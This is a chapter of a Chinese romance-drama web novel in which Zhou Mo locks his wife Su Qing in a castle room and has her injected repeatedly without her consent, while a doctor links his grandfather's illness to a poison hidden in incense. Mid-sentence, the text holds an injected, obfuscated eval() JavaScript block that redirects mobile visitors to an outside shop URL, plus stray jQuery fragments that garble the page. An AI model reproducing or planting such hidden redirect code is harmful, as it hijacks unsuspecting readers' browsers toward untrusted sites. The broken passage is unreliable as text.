父母死了就随意发泄怨恨……
周墨眼里第一次露出了不可置信的神情,他的下眼圈还发着淡淡的乌青,这一天一夜折腾了很久,做了很多事情,生理上的疲惫其实早就忘记,因为他父母早就死了,他从小都是这么过的。
没有人关心他的功课难不难,学校餐食吃不吃得惯,朋友们相处得好不好……他一直都习惯自主打理一切,以前只打理自己的,后来长大了,突然身上莫名其妙压了许多“应该”的担子,他再接着打理别人的。
以前没觉得累,但此刻,他有点累了。
看着苏晴的眼睛,他问:“你是这么想我的?”
“是这么想的又怎么样,你现在知道关心名声了?”她满腔怒意,“果然他们说的没错,你就是心理有问题,你就是个精神病!”
咄咄逼人的话,每一个字眼像快速步枪里的子弹一样,一颗一颗不间断地朝他身体里面打去。
“精神病。”周墨品味着这几个字。
“还可以,这称呼还算好听。”
话赶着话,在情绪充沛之时,言语是没有意义的。
“Enfermermafemmeàclédanslachambre(把太太关进房间).”
周墨话音落,一旁的女佣立刻上前。
尽管她们的动作算温柔,但这两位个子不小的欧洲人力量加起来,苏晴半分都挣脱不开。
周墨将脸朝她那儿又贴近一步,周身温热的气体似乎到了两人都能触碰的地步,刻意狡黠笑着。
“放心,孙仁山一时半会死不了,你还是关心自己吧,精神病可不敢保证发起疯来会做什么。”
既然已经被冠上这个名头,不如就仗着这个身份发发疯。
他话说得吓人,苏晴尽量不让自己的目光汇集到他的脸上,但呼吸还是控制不住地加快。
他真的完全不像自己当初认识的样子。
卧室被上了锁,苏晴认命坐在窗边沙发上。
蜷缩着双腿,下巴枕在两个膝盖之中,窗边时不时会传来鸟叫,聒噪极了。
她现在对这个居住环境已经熟悉透,卧室的装潢并不复杂,里边也只是有简单的睡床,一张容纳两人的大沙发,铺着软垫的床尾凳,还有台面上摆好一应俱全护肤品的女主人梳妆台。
房间简洁又高雅,透着上个世纪古堡的等级生活。
如果来这儿是一场旅行,和他的关系还处在两人的热恋期,那该有多好。而不是像现在这样,这里是囚牢。
咚咚咚。门外传来三声形式意义的敲门,她根本都没有开门的权利,有什么好敲的。
女佣珍妮自己拿着锁匙旋转了两圈,开门进来。这个名字还是苏晴听周墨和她说话时自己辨认出来的。
珍妮端着个铁盘,上面放着消毒的棉签和一瓶带针管的药水,叽里咕噜讲了一长串苏晴丝毫听不懂的话,给针管排气,再抽药水,准备就绪。
这是她拿进来的第四管了,每两小时一次。
苏晴反抗过,不过前几次都失败了,这一次就这样吧,她放任珍妮给她的小臂注射。
药水刚注射进肌肉有些疼,不过珍妮技术算不错,迅速给伤口消毒止血,她已经做得很熟练。
压住小臂上的止血棉花,苏晴自顾自讲话,“他还真是准点。”
珍妮收拾起用好的药瓶和针管,苏晴在一旁看着这一管也有不同的包装说,“这次又打什么药?”
前三管包装也各不相同,如果自己因为药物混用死在这儿,真是冤枉呢。
她也没指望珍妮跟她对话,毕竟两人语言不通,怎么说也说不到一块儿去,但她太需要说些什么来宣泄情绪了。
“连一口饭都没有,他还真是不装了,你们要把我关到什么时候,关到我饿死吗?”
她想过她现在和周墨已经视若仇敌,但没想到的是他竟然连口吃的也不给她,就算是下地牢的囚犯也不过如此吧。
心里对这人的讨厌又多了一分。
珍妮拿起医疗用具,恭敬的起身站到苏晴的左前方。
她说:“Madame,cesmédicamentsquel’onvousadministreparinjectionsontdesnutrimentsqueMonsieurafaitpréparerspécialementpourvous.Commevotreétatdesantén’estpasencoretoutàfaitrétabli,vousnepouvezpasvousalimenterpourlemoment.Ceciétaitladernièredose.(太太,这些个注射药剂是先生特意为您准备的营养液。因您贵体尚未痊愈,暂时还进不得食,刚才是最后一管)”
又是一长串拗口又烧耳的外文。
珍妮说完,苏晴仍旧面无表情,她当然没听懂。
福尔达街十六号,一栋极具历史感的法式建筑,是Ellen.Qi的研究所。
二楼办公室,一扇橡木门内。
周墨打开Ellen给他递过的手写病人记录。
“情况怎么样?”
Ellen少见地皱起眉头,“情况不好。”
“国内返送的数据显示,你外公的体内查出一种编号‘X20’的放射性元素。”
“X20?”
“对,他的血清里查出这个元素的含量还不低。如果人体有过量X20的存在,短期内身体不会出现一丝异样,即使偶尔出现临床反应,常规的检查也只会认定是人体正常衰老使基础功能减弱。”
“但常年累积,含量突破阈值,这种元素就会在体内迅速合成突变基因,极端情况下会在数周内爆发恶性急症。”
Ellen继续,“现在你外祖的身体已经相继爆发急性高血压和突发脑溢血,心肌出现迅速的退行性变。我这里的用药也只能暂时控制病情恶化,如果想要彻底治疗,必须得找出发病根源。”
周墨思考,“发病根源……这种元素要摄入可以用哪种方法?”
“饮食、药物……很多途
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17866209|212204||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
径都可以。”
饮食不太可能,孙仁山每日入口的饭菜都是专人负责并且定期留样检查,药物的话,他长期服用的基础病药品也都是信任的老医师开的药方,制药配药每个环节都有层层审核……
两人的沉默思考让办公室里香薰烛的烛焰燃烧声显得格外明显,刺啦刺啦的声音,蜡油一滴一滴往托盘上凝固。
周墨抬头,烛焰正好在他眼前爆裂。
如果,是空气……
“焚香有可能吗?老爷子常年随身带香,他睡眠不好,每晚都得焚香才能入睡。”
孙仁山喜好焚香并不是什么秘密,商业伙伴或者是亲朋好友们都知道他有这一喜好。近几年来大家给孙家的贺寿礼或者是其他礼品也多数以孙老爷子的喜好为主,送上各类香片香饼。
Ellen立刻理解他说的那层意思。
“有可能,X20无色无味,在高温下化学性质稳定,如果是每日焚香,即使只在睡前的一个小时,0.5微克的含量日积月累也能到毙命的程度。”
周墨眸色一沉,看来他的猜想不是没有可能。
“你先接着治疗,国内老爷子的饮食起居我会马上派人处理,不过得隐蔽些,现在还不到时候。”
“嗯。”
沉重的话题结束,Ellen收回他的手写病历,放在蜡烛上轻轻一点,化为灰烬。
找个话题打破现下沉闷的气氛,“对了,你太太现在应该已经清醒了,她有什么反应吗?”
周墨沉默不语,脸色没比刚才好看多少。
Ellen忍不住笑了出声,终于也让他发现无所不能的墨会在什么人身上吃瘪。
“看来情况不太妙哦~”他喝了口咖啡,一副看热闹姿态。
“我以一个过来人的身份提醒你,恋爱嘛,一半都是靠嘴。”
一阵巨大的轰鸣声,苏晴透过彩色琉璃窗发现是城堡北侧的那片空地上空传来的。
她打开窗户,一股空气中残留的航空煤油味道散过来。
味道虽然不重,但她鼻子敏感,所以有些呛人。憋气转过头的一阵功夫,舱门内侧走出一道她熟悉的身影。
是周墨。
难怪一早上没见他踪影,正在他望向她时,周墨那道灼热的目光也同样有意朝琉璃窗的方向看去。
他们隔着一整片树林对视,谁也不动,好像动了就是示弱。
没一会儿,卧室房门终于大开。
周墨:“身体觉得怎样?”
“好极了,再过几天就可以死了。”
“你过来做什么,怕我尸体发臭弄脏你的房子?”
她没有给他正脸色,只觉得伪君子现在是确认那些药够不够量把她药死。
“我告诉你,如果爷爷出了什么意外,我一定不会放过你。”
“不会放过我?你拿什么不放过我?”
周墨大步跨过地毯,把缩在沙发上的小人一下子拎了起来,用劲儿着急,把苏晴拽疼了。
“干嘛?”
他拽得更紧,“带你认清现实。”